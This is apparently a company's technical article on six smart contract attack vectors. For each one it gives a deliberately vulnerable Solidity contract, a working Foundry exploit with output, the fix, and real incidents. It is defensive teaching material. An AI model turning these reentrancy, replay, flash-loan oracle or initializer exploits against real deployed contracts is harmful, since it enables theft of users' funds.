Smart Contract Attacks: 6 Attack Vectors Explained with Solidity Exploits
A smart contract attack is a transaction, or a sequence of transactions, that makes a contract do something its authors never intended, usually to move funds to the attacker. A smart contract attack vector is the weakness that makes it possible. Six vectors explain most on-chain losses on Ethereum and EVM chains: reentrancy, signature replay, ERC-4626 vault inflation, price oracle manipulation, broken access control, and sandwich attacks.
This article does not describe them from a distance. At Etherwave Labs we wrote one small vulnerable Solidity contract per attack, then an exploit for each one, then the fix, and ran everything. Each section below has a sequence diagram of the attack, the vulnerable code, the exploit, the real output, the corrected code, and a real incident of the same class. Every number comes from an actual run (Foundry 1.5.1, Solidity 0.8.29, Slither 0.11.3, November 2026): 13 tests, seven where an exploit succeeds and six showing that the fix holds.
The short version:
- Every exploit is short. The longest one, a flash-loan oracle manipulation, is four calls inside one transaction. The shortest is two calls and needs no attacker contract.
- The bug is rarely exotic. One line in the wrong order (reentrancy), one missing field in a signed message (replay), one division that rounds down (vault inflation), one missing
require(access control). - Tools see the code, not the design. Slither reported one of the six attacks, the reentrancy. The other five are design errors that no pattern matcher flags.
- The ranking has changed. In the OWASP Smart Contract Top 10: 2026, access control is first and reentrancy has dropped to eighth.
What are the main smart contract attack vectors?
The table below is the map of the article. The category column refers to the OWASP Smart Contract Top 10: 2026, the most widely used classification.
| Attack | Root cause | OWASP 2026 category | Real incident | Core fix |
|---|---|---|---|---|
| Reentrancy | State updated after an external call | SC08 Reentrancy | The DAO, 2016; Curve pools, 2023 | Checks-effects-interactions, reentrancy guard |
| Signature replay | Signed message with no nonce, chain or contract | SC02 Business Logic | Omni bridge on EthereumPoW, 2022 | EIP-712 domain, nonce, deadline |
| ERC-4626 inflation | Share price moved by a donation, then rounding | SC07 Arithmetic Errors | Venus wUSDM market, 2025 | Virtual shares, internal accounting |
| Oracle manipulation | Spot price of one pool used as the truth | SC03, SC04 Flash Loans | Mango Markets, 2022 | Decentralized feed, TWAP, staleness checks |
| Broken access control | A privileged function anyone can call | SC01 Access Control | Parity multisig, 2017 | Initializer guard, roles, timelocks |
| Sandwich attack | A swap that accepts any price | Not a contract bug: MEV | Uniswap v3 swap, March 2025 | minAmountOut, deadline, private order flow |
How much do these cost? The OWASP 2026 edition, built on 2025 incident data, counts about $905.4M lost across 122 smart contract incidents, with access control at $220.0M over 30 incidents, business logic at $188.7M over 58 incidents and reentrancy at $42.1M. Those figures cover contract bugs only. Across the whole industry, Chainalysis reports over $3.4 billion stolen from January through early December 2025, of which the Bybit breach alone was $1.5 billion: compromised keys and signing infrastructure now cost more than any Solidity bug.
1. What is a reentrancy attack?
A reentrancy attack is an exploit where a contract calls an external address before updating its own state, and that address calls back into the contract while the old state is still in place. The attacker repeats a withdrawal the contract believes it has not paid yet. The Solidity documentation describes the mechanism in one sentence: an external call "makes it possible for B to call back into A before this interaction is completed".

The vulnerable contract
contract EtherBank {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "nothing to withdraw");
(bool ok,) = msg.sender.call{value: amount}(""); // 1. sends ETH, hands over control
require(ok, "transfer failed");
balanceOf[msg.sender] = 0; // 2. updates the balance, too late
}
}The exploit
Sending ETH to a contract runs its receive() function. The attacker puts the next withdraw() call there:
contract ReentrancyAttacker {
IBank public immutable bank;
function attack() external payable {
bank.deposit{value: msg.value}();
bank.withdraw();
}
// Runs every time the bank sends ETH, before the bank zeroes our balance.
receive() external payable {
if (address(bank).balance >= msg.value) {
bank.withdraw();
}
}
}The bank holds 10 ETH from another user. The attacker deposits 1 ETH:
$ forge test --match-test test_ReentrancyDrainsBank -vv
[PASS] test_ReentrancyDrainsBank() (gas: 696602)
Logs:
bank balance after attack (ETH): 0.000000000000000000
attacker balance (ETH): 11.000000000000000000
withdraw() executions: 11One transaction, 11 nested executions of withdraw(), and the bank is empty. Solidity 0.8's overflow checks do not help: the balance is set to zero, never decremented.
The fix: checks-effects-interactions and a guard
function withdraw() external nonReentrant {
uint256 amount = balanceOf[msg.sender]; // checks
require(amount > 0, "nothing to withdraw");
balanceOf[msg.sender] = 0; // effects
(bool ok,) = msg.sender.call{value: amount}(""); // interactions
require(ok, "transfer failed");
}Two defences, and you want both. The first is the order: the Solidity docs state that "interaction with other contracts should be the very last step in any function". The second is a lock that makes any nested call revert. On the fixed contract the same attacker gets transfer failed and the bank keeps its 10 ETH.
For the lock, OpenZeppelin now recommends ReentrancyGuardTransient, available since Contracts v5.1. It stores the flag in transient storage (EIP-1153, live on Ethereum since the Dencun upgrade of March 13, 2024), which is cheaper than a storage slot. The classic storage-based ReentrancyGuard is marked as deprecated in the same documentation.
In the wild
The DAO is the original case: according to ethereum.org, the contract "was drained of over 3.6 million ETH in a hack" in June 2016, which led to the Ethereum hard fork at block 1,920,000.
A guard is only as good as its implementation. On July 30, 2023, several Curve pools were drained through reentrancy even though their functions were marked @nonreentrant. The Vyper post-mortem traced it to compiler versions 0.2.15, 0.2.16 and 0.3.0, where functions sharing a lock key did not actually share a lock. The per-pool figures in the LlamaRisk post-mortem add up to roughly $62M.
2. What is a signature replay attack?
A signature replay attack reuses a valid signature in a context the signer never approved: a second time on the same contract, on another contract, or on another chain. The signature is genuine, so ecrecover accepts it. The flaw is in what the signed message leaves out: a nonce that makes it single-use, and the chain and contract it is meant for.

The vulnerable contract
A common pattern: a backend key signs vouchers off-chain, and users claim them on-chain.
contract VoucherVault {
address public immutable signer;
function claim(uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
// The signed message is only (recipient, amount): no nonce, no chain, no contract.
bytes32 digest = keccak256(abi.encodePacked(msg.sender, amount));
require(ecrecover(digest, v, r, s) == signer, "bad signature");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
}The exploit
The signer issues one voucher for 1 ETH. The attacker submits it until the vault is empty:
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, keccak256(abi.encodePacked(attacker, uint256(1 ether))));
vm.startPrank(attacker);
while (address(vault).balance >= 1 ether) {
vault.claim(1 ether, v, r, s);
}$ forge test --match-contract SignatureReplayTest -vv
[PASS] test_SameSignatureReplayedUntilEmpty() (gas: 514522)
Logs:
claims made with one signature: 10
attacker balance (ETH): 10.000000000000000000
[PASS] test_SignatureReplayedOnAnotherDeployment() (gas: 738070)The second test deploys a second vault with the same signer. The voucher works there too, because nothing in the digest names a contract. The same holds for the same vault deployed on another chain.
The fix: EIP-712 with a nonce and a deadline
bytes32 public constant VOUCHER_TYPEHASH =
keccak256("Voucher(address recipient,uint256 amount,uint256 nonce,uint256 deadline)");
mapping(address => uint256) public nonces;
function domainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(DOMAIN_TYPEHASH, keccak256("VoucherVault"), keccak256("1"), block.chainid, address(this))
);
}
function claim(uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "voucher expired");
// nonces[msg.sender]++ consumes the nonce: the same signature never verifies twice.
bytes32 structHash =
keccak256(abi.encode(VOUCHER_TYPEHASH, msg.sender, amount, nonces[msg.sender]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator(), structHash));
address recovered = ecrecover(digest, v, r, s);
require(recovered != address(0) && recovered == signer, "bad signature");
// ...pay out
}Each field closes one replay path:
| Field in the signed data | Replay it prevents |
|---|---|
nonce | The same signature used twice on the same contract |
verifyingContract (address(this)) | The signature used on another contract |
chainId | The signature used on another chain |
deadline | A forgotten signature used months later |
On the fixed vault, the second claim, the claim on another vault and a voucher signed for chain 8453 all revert with bad signature. Compute the domain separator from block.chainid at call time, or cache it and recompute when the chain id changes: EIP-2612 warns that a separator fixed at deployment can be replayed across chains after a chain split. In production, use OpenZeppelin's EIP712, Nonces and ECDSA rather than raw ecrecover: its ECDSA library also rejects malleable signatures, and its documentation says to "use hash invalidation or nonces for replay protection".
In the wild
After the Merge, the EthereumPoW fork kept every Ethereum contract. In September 2022 the Omni bridge on that fork was exploited because, as BlockSec's analysis put it, it "uses the old chainId and doesn't correctly verify the actual chainId": a message bridging 200 WETH on one chain was replayed for 200 ETHW on the other.
The problem is widespread. A November 2025 study of 15,383 contracts that verify signatures found replay vulnerabilities in 19.63% of them.
Replay also exists at the transaction level, below any contract. In June 2022, 20 million OP tokens were sent to a Wintermute multisig address that existed on Ethereum but not yet on Optimism. An attacker took control of the address by, in Wintermute's words, "replaying the Gnosis Safe MasterCopy 1.1.1 deployment from Eth mainnet". That deployment transaction predates the chain id protection of EIP-155.
3. What is an ERC-4626 inflation attack?
An ERC-4626 inflation attack, also called a first-depositor or donation attack, targets a tokenized vault that is empty or nearly empty. The attacker mints a tiny number of shares, then sends tokens directly to the vault to raise the price of one share above the next depositor's deposit. That deposit rounds down to zero shares, and the attacker redeems the whole vault.

The vulnerable contract
The vault below uses the standard share formulas. Two details make it attackable: totalAssets() reads the token balance, so a plain transfer changes it, and convertToShares rounds down.
function totalAssets() public view returns (uint256) {
return asset.balanceOf(address(this)); // counts tokens sent directly to the vault
}
function convertToShares(uint256 assets) public view virtual returns (uint256) {
return totalSupply == 0 ? assets : assets * totalSupply / totalAssets(); // rounds down
}
function deposit(uint256 assets) external returns (uint256 shares) {
shares = convertToShares(assets);
asset.transferFrom(msg.sender, address(this), assets);
totalSupply += shares;
balanceOf[msg.sender] += shares;
}The exploit
The attacker sees a 10,000-token deposit in the mempool and gets two transactions in before it:
vm.startPrank(attacker);
vault.deposit(1); // 1 wei of assets, 1 share
token.transfer(address(vault), 10_000 ether); // donation: no shares minted
vm.stopPrank();
vm.prank(victim);
victimShares = vault.deposit(10_000 ether); // 10,000e18 * 1 / (10,000e18 + 1) = 0
vm.prank(attacker);
vault.redeem(1); // the only share: the whole vault$ forge test --match-test test_InflationAttackStealsFirstDeposit -vv
[PASS] test_InflationAttackStealsFirstDeposit() (gas: 625206)
Logs:
victim shares: 0
attacker ends with: 20000.000000000000000001
victim ends with: 0.000000000000000000The victim's transaction did not revert. They paid 10,000 tokens and received zero shares. OpenZeppelin's ERC-4626 guide describes exactly this: "if you deposit <1 share worth of tokens, then you get 0 shares, and you basically made a donation."
The fix: virtual shares and assets
uint256 private constant VIRTUAL_SHARES = 10 ** 6; // decimals offset of 6
uint256 private constant VIRTUAL_ASSETS = 1;
function convertToShares(uint256 assets) public view override returns (uint256) {
return assets * (totalSupply + VIRTUAL_SHARES) / (totalAssets() + VIRTUAL_ASSETS);
}
function convertToAssets(uint256 shares) public view override returns (uint256) {
return shares * (totalAssets() + VIRTUAL_ASSETS) / (totalSupply + VIRTUAL_SHARES);
}The vault behaves as if a million shares already existed. A donation is then shared with those virtual shares, which nobody can redeem, so the attacker pays for the inflation instead of the victim. The same attack on the fixed vault:
[PASS] test_VirtualSharesMakeAttackUnprofitable() (gas: 668298) Logs: victim shares: 1999999 attacker ends with: 5000.001250000312500078 victim ends with: 9999.997499999374999845
The attacker loses half of the donation, 5,000 tokens, to take 0.0025 tokens from the victim. This is the defence OpenZeppelin ships: its ERC4626 has included virtual shares and assets since v4.9, with a configurable decimals offset. Three further measures are worth combining with it:
- Internal accounting. Track deposited assets in a storage variable instead of reading
balanceOf(address(this)), so a direct transfer does not move the share price. - A seeded vault. Make the first deposit yourself at deployment and never redeem it.
- Slippage on deposits. Let callers pass a minimum number of shares. EIP-4626 itself recommends extra functions "with the means to accommodate slippage loss" for vaults used directly by users.
In the wild
The same class of bug, an exchange rate inflated by a donation into an empty or thin market, has hit lending protocols repeatedly. Hundred Finance lost $7.4M on Optimism in April 2023 and Sonne Finance an estimated $20M in May 2024; both were Compound v2 forks, where the share token is a cToken and the mechanism is the same.
A direct ERC-4626 case came on February 27, 2025: an attacker donated to the wUSDM vault used as collateral on Venus's ZKsync deployment, lifting its exchange rate. The Chaos Labs post-mortem puts the resulting bad debt at $902,159. The lesson for integrators: a vault's share price is an input an attacker can move. EIP-4626 says so plainly, noting that its preview methods "are not always safe to be used as price oracles".
4. What is price oracle manipulation?
Price oracle manipulation is an attack where a contract reads an asset price from a source the attacker can move, typically the spot price of a single DEX pool, and the attacker moves it within the same transaction. With the price inflated, they borrow against overvalued collateral or redeem at a false rate. A flash loan supplies the capital, so the attacker needs almost none of their own.

The vulnerable contract
A lending pool that lets users borrow USDC against WETH, at up to 80% of the collateral's value. It prices WETH from a constant-product pool's reserves:
/// USDC (6 decimals) per 1 WETH, read from the pool's reserves right now.
function wethPrice() public view virtual returns (uint256) {
return amm.reserveUsdc() * 1e18 / amm.reserveWeth();
}
function borrow(uint256 amount) external {
uint256 collateralValue = collateral[msg.sender] * wethPrice() / 1e18;
require(debt[msg.sender] + amount <= collateralValue * LTV / 100, "insufficient collateral");
debt[msg.sender] += amount;
usdc.transfer(msg.sender, amount);
}The exploit
The AMM pool holds 1,000 WETH and 2,000,000 USDC (1 WETH = 2,000 USDC) and charges 0.30% per swap. The lending pool holds 1,000,000 USDC. A flash lender charges 0.05%. The whole attack runs inside the flash loan callback:
function onFlashLoan(uint256 amount, uint256 fee) external {
// 1. Pump: buy WETH with the borrowed USDC, the pool's spot price jumps.
uint256 wethBought = amm.swap(address(usdc), amount, 0);
// 2. Borrow against 40 WETH valued at the inflated price.
pool.depositCollateral(40 ether);
pool.borrow(usdc.balanceOf(address(pool)));
// 3. Dump: sell the rest of the WETH back, the price returns to normal.
amm.swap(address(weth), wethBought - 40 ether, 0);
// 4. Repay the flash loan and keep the difference.
usdc.transfer(address(lender), amount + fee);
}$ forge test --match-test test_FlashLoanOracleManipulation -vv
[PASS] test_FlashLoanOracleManipulation() (gas: 1440836)
Logs:
WETH price before (USDC): 2000.000000
WETH price during (USDC): 31927.999999
WETH price after (USDC): 2179.865448
pool USDC left: 0.000000
attacker debt (USDC): 1000000.000000
attacker collateral (WETH): 40.000000000000000000
attacker profit (USDC): 904329.169420For the length of one transaction, WETH was "worth" 31,928 USDC. The pool lent 1,000,000 USDC against 40 WETH that are really worth about 80,000. The attacker never repays: they walk away with 904,329 USDC after swap fees and the flash loan fee, having started with nothing.
The fix: a price that one transaction cannot move
function wethPrice() public view override returns (uint256) {
(, int256 answer,, uint256 updatedAt,) = feed.latestRoundData();
require(answer > 0, "invalid price");
require(block.timestamp - updatedAt <= MAX_AGE, "stale price");
return uint256(answer) / 100; // 8 decimals to 6
}With a price feed that aggregates many venues off-chain, pumping one pool changes nothing, and the same attack reverts with insufficient collateral. Chainlink's own explainer on flash loans makes the same point, describing these attacks as "manipulating protocols that use a spot price from a decentralized exchange". Rules that hold up:
- Never price from a spot reserve ratio, a pool balance, or an ERC-4626 share price that can be moved by a donation.
- Check the feed's answer: positive, recent, and within sane bounds.
- If the price must come from a DEX, use a time-weighted average. The Uniswap v3 oracle lets a contract "cheaply construct a time-weighted average over any arbitrary range"; a longer window costs more to move, and reacts more slowly.
- Cap exposure to illiquid collateral with supply and borrow limits, so a wrong price has a bounded cost.
In the wild
On October 11, 2022, a trader pumped the price of the MNGO token on the venues Mango Markets used as oracle sources, then borrowed against the inflated position. The SEC's complaint is titled a scheme "to Steal $116 Million of Crypto Assets"; the CFTC, which put the figure at over $110 million, called it its first case involving "oracle manipulation".
The flash loan is the amplifier, not the bug. Aave V3's flash loan fee is "set to 0.05% at deployment", which makes millions in capital available for a few thousand dollars, to anyone, for one transaction. Any assumption of the form "nobody has enough capital to do that" is false on a public chain.
5. What is an access control attack?
An access control attack calls a privileged function that the contract failed to restrict: setting the owner, minting, upgrading, withdrawing. There is no trick involved. The function is public, the check is missing or wrong, and the attacker calls it. It is the first category of the OWASP Smart Contract Top 10: 2026.

The vulnerable contract
Contracts deployed behind a proxy cannot use a constructor, so they are set up with an initialize function. This one forgets to make it single-use:
contract TeamWallet {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
// Anyone can call this, at any time, as many times as they like.
function initialize(address _owner) external {
owner = _owner;
}
function withdraw(address payable to, uint256 amount) external onlyOwner {
(bool ok,) = to.call{value: amount}("");
require(ok, "transfer failed");
}
}The exploit
vm.startPrank(attacker);
wallet.initialize(attacker); // no check: the attacker is now the owner
wallet.withdraw(attacker, 100 ether);$ forge test --match-test test_AnyoneCanReinitializeAndDrain -vv
[PASS] test_AnyoneCanReinitializeAndDrain() (gas: 365787)
Logs:
owner after attack: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
attacker balance (ETH): 100.000000000000000000Two calls from a plain wallet. onlyOwner worked exactly as written; the owner had simply changed.
The fix
function initialize(address _owner) external {
require(!initialized, "already initialized");
require(_owner != address(0), "owner is zero");
initialized = true;
owner = _owner;
}In production, use OpenZeppelin's Initializable: the initializer modifier on the function, and _disableInitializers() in the implementation's constructor so nobody can initialize the logic contract itself. Deploy the proxy and call initialize in the same transaction, otherwise the call can be front-run. Beyond initializers:
- Write down who may call every state-changing function, and test the negative case for each one: a call from a stranger must revert.
- Use
Ownable2SteporAccessControlrather than a hand-written owner variable, so a transfer to a wrong address cannot lock or lose the role. - Put privileged roles behind a multisig and a timelock. A single key that can upgrade the contract is the same vulnerability one level up.
In the wild
The Parity multisig wallet is this exact bug. On July 19, 2017, an attacker "drained 153,037 ETH" from three wallets, because, as OpenZeppelin's analysis explains, "initWallet has no checks to prevent an attacker from calling it after the contract was initialized." The fix left the shared library contract itself uninitialized: in November 2017 someone initialized it, became its owner and destroyed it, freezing what OpenZeppelin estimated at over 500,000 ETH.
The category has moved up from the code to the people holding the keys. In April 2026, Drift Protocol lost about $285M after members of its security council were socially engineered into pre-signing transactions, according to Halborn's monthly review.
6. What is a sandwich attack?
A sandwich attack is a form of front-running against a pending swap. A bot sees the swap in the public mempool, buys the same asset just before it to push the price up, lets the victim's swap execute at that worse price, then sells just after. The victim receives fewer tokens than quoted, and the bot keeps the difference. ethereum.org lists sandwich trading among the common methods of MEV extraction.

The pool contract has no bug here. The weakness is in the transaction the victim, or the contract acting for them, sends: a swap with no minimum output.
The exploit
Same pool as before: 1,000 WETH and 2,000,000 USDC, 0.30% fee. The victim swaps 100,000 USDC and passes 0 as minAmountOut:
uint256 quoted = amm.getAmountOut(address(usdc), 100_000e6); // what the victim saw in the UI
// The three transactions land in this order in the same block.
vm.prank(attacker);
uint256 attackerWeth = amm.swap(address(usdc), 400_000e6, 0); // 1. front-run: buy first
vm.prank(victim);
uint256 received = amm.swap(address(usdc), 100_000e6, 0); // 2. victim, minAmountOut = 0
vm.prank(attacker);
amm.swap(address(weth), attackerWeth, 0); // 3. back-run: sell into the victim's price impact$ forge test --match-contract SandwichTest -vv
[PASS] test_SandwichAttack() (gas: 123958)
Logs:
victim quoted (WETH): 47.482973758155927037
victim received (WETH): 33.253948786343939395
attacker profit (USDC): 28852.535661The victim receives 30% less WETH than the interface quoted, and the bot earns 28,852 USDC after paying the swap fee twice.
The fix: a minimum output and a deadline
uint256 minAmountOut = quoted * 995 / 1000; // 0.5% slippage tolerance
amm.swap(address(usdc), 100_000e6, minAmountOut); // reverts with "slippage" if sandwiched[PASS] test_MinAmountOutStopsTheSandwich() (gas: 83876) Logs: attacker loss (USDC): 1998.995998
With a 0.5% tolerance the victim's swap reverts instead of executing at a bad price, and the bot, left holding WETH with no victim to sell into, loses 1,999 USDC in fees unwinding its position. The rules:
- Never hardcode
0as the minimum output. Uniswap's own swap guide sets it to zero in its example and adds that this is "a significant risk in production". - Compute the minimum off-chain or from an oracle, not from the same pool inside the same transaction: a bot has already moved that quote by the time your code reads it.
- Add a deadline, so a transaction that sits in the mempool cannot be executed hours later at a stale price.
- Mind the swaps your contract makes. Vaults and strategies that harvest, compound or rebalance are regular sandwich targets. Give them slippage limits and send them through a private RPC or an MEV-protected route.
In the wild
On March 12, 2025, a trader swapped $220,764 of USDC for USDT in a Uniswap v3 pool and received $5,271, as reported by Cointelegraph: a stablecoin-to-stablecoin trade that lost more than $215,000 to a sandwich.
That is the extreme. The everyday version is small and constant: EigenPhi data analysed by Cointelegraph Research for November 2024 to October 2025 shows 60,000 to 90,000 sandwich attacks a month on Ethereum, about $60 million a year in trader losses, and an average profit per attack "just above $3".
What does static analysis catch?
We ran Slither 0.11.3 on the six vulnerable contracts to see how many of these attacks a tool reports without any test being written.
| Vulnerable contract | Attack | Does Slither report it? |
|---|---|---|
EtherBank | Reentrancy | Yes: reentrancy-eth, high severity |
VoucherVault | Signature replay | No |
SimpleVault | ERC-4626 inflation | No |
LendingPool | Oracle manipulation | No |
TeamWallet | Unprotected initializer | No (only a low-severity missing zero-check) |
SimpleAMM swap with minAmountOut = 0 | Sandwich | No |
One out of six. Slither did report other real issues in these contracts, mainly unchecked ERC-20 return values flagged as high severity, and it found the reentrancy immediately, which is why it belongs in every CI pipeline. But a missing nonce, a manipulable price and an open initializer are not code patterns. They are decisions, and finding them takes a person or a test that encodes the property: "a signature works once", "a deposit never mints zero shares", "a stranger cannot become owner". We cover how to write those tests in Smart Contract Testing: Unit, Fuzz and Invariant Tests in Solidity.
Which other smart contract vulnerabilities should you know?
The six above are the ones worth understanding in depth. The rest of the OWASP 2026 list, in brief:
| Vector | What goes wrong | Example |
|---|---|---|
| Rounding and precision errors | A calculation rounds in the user's favour, and the attacker repeats it thousands of times | Balancer V2, November 3, 2025: a rounding direction error drained more than $100M across nine networks |
| Integer overflow | Arithmetic wraps around outside Solidity 0.8's checks: unchecked blocks, assembly, or other languages | The largest OWASP 2026 category by losses, at $260.4M over three incidents |
| Unchecked external calls | A failed call or a token that returns false is treated as a success | Found by Slither as unchecked-transfer |
| Lack of input validation | A function trusts an address, an amount or calldata supplied by the caller | Arbitrary-call bugs in routers and bridges |
| Proxy and upgradeability errors | Storage collisions between versions, uninitialized implementations, unsafe upgrade paths | New in the 2026 list as SC10 |
| Compromised keys | The contract is correct and the signer is not | Bybit, 2025: $1.5 billion |
The older SWC Registry, which many articles still cite, states that it "is no longer actively maintained"; use the OWASP list or the EEA EthTrust Security Levels specification instead.
How do you protect a smart contract against these attacks?
The fixes in this article reduce to a checklist that fits on one screen:
- Order every function as checks, effects, interactions, and add a reentrancy guard to anything that makes an external call.
- Sign typed data (EIP-712) with a nonce, a deadline, the chain id and the verifying contract. Never verify a bare hash of parameters.
- Protect vault share math: virtual shares, internal asset accounting, a seeded first deposit, and rounding that favours the vault.
- Never read a price that one transaction can move. Use a decentralized feed with staleness checks, or a TWAP with a window sized to the pool's liquidity.
- List every privileged function and who may call it. Guard initializers, use audited role libraries, and put admin keys behind a multisig and a timelock.
- Give every swap a minimum output and a deadline, including the swaps your own contracts make.
- Turn each rule into a test. An exploit you can write in a Foundry test is one an attacker can write too. Fuzz and invariant tests find the sequences you did not think of.
- Run Slither in CI, then get an audit. The tool removes the known patterns so the auditor can spend their time on the design.
Frequently asked questions
What is the most common smart contract attack?
By number of incidents, business logic flaws: the OWASP Smart Contract Top 10: 2026 counts 58 of them among 122 incidents in 2025. By rank, access control is first, with $220.0M lost over 30 incidents. Reentrancy, the best-known attack, is now eighth, at $42.1M.
Is reentrancy still a risk in 2026?
Yes. Guards and the checks-effects-interactions pattern have made the classic form rare in new code, but OWASP still attributes $42.1M of 2025 losses to reentrancy, and variants keep appearing: cross-function, cross-contract and read-only reentrancy, where a view function returns a stale value in the middle of another contract's call.
What is the difference between a replay attack and a signature replay attack?
A replay attack rebroadcasts a whole signed transaction on another chain; EIP-155 prevents it by including the chain id in the transaction signature. A signature replay attack reuses a signed message inside a smart contract that verifies signatures itself, such as a permit, a voucher or a meta-transaction. The contract must prevent it with a nonce and an EIP-712 domain.
Does OpenZeppelin's ERC4626 prevent the inflation attack?
It mitigates it. Since v4.9, OpenZeppelin's ERC4626 includes virtual shares and assets; with the default offset of zero, its documentation states that "the attacker's loss is at least equal to the user's deposit", so the attack stops being profitable. A larger decimals offset makes it more expensive still. A protocol that uses a vault's share price as collateral value needs its own protection on top.
Are flash loans an attack?
No. A flash loan is an uncollateralized loan repaid within the same transaction, and it is used daily for arbitrage, liquidations and collateral swaps. It removes the capital requirement from attacks that would otherwise need millions, which is why it appears in so many exploits. The vulnerability is always elsewhere, usually in a price source.
Can a smart contract audit catch all of these attacks?
A competent audit catches all six in the form shown here; they are well-known patterns. What an audit cannot promise is the absence of new combinations, especially where your contract meets other protocols. Treat it as one layer alongside tests, static analysis, monitoring, a bug bounty and limits that cap the damage of a mistake.
Contracts built to be attacked
Every contract in this article was written to fail, and each one failed in fewer than ten lines of attacker code. Production contracts fail the same way; the lines are just harder to spot among a few thousand others. The habit that prevents it is the one used here: for each function, write the attack before someone else does, and keep it in the test suite once it stops working.
That is how we build at Etherwave Labs. Our smart contract development delivers Solidity with exploit tests, fuzz and invariant suites and static analysis in CI, ready for an auditor, and our DeFi development covers the vaults, lending markets and liquidity managers where the attacks above do the most damage: we built the vault contracts behind YieldBase and the frontend of the Ethereum Credit Guild lending protocol. If a codebase was written fast, with AI or without, our code audit grades it on eight dimensions, including access control and tests. To scope a build, the Web3 development cost calculator gives an itemized estimate, or you can tell us about your project.


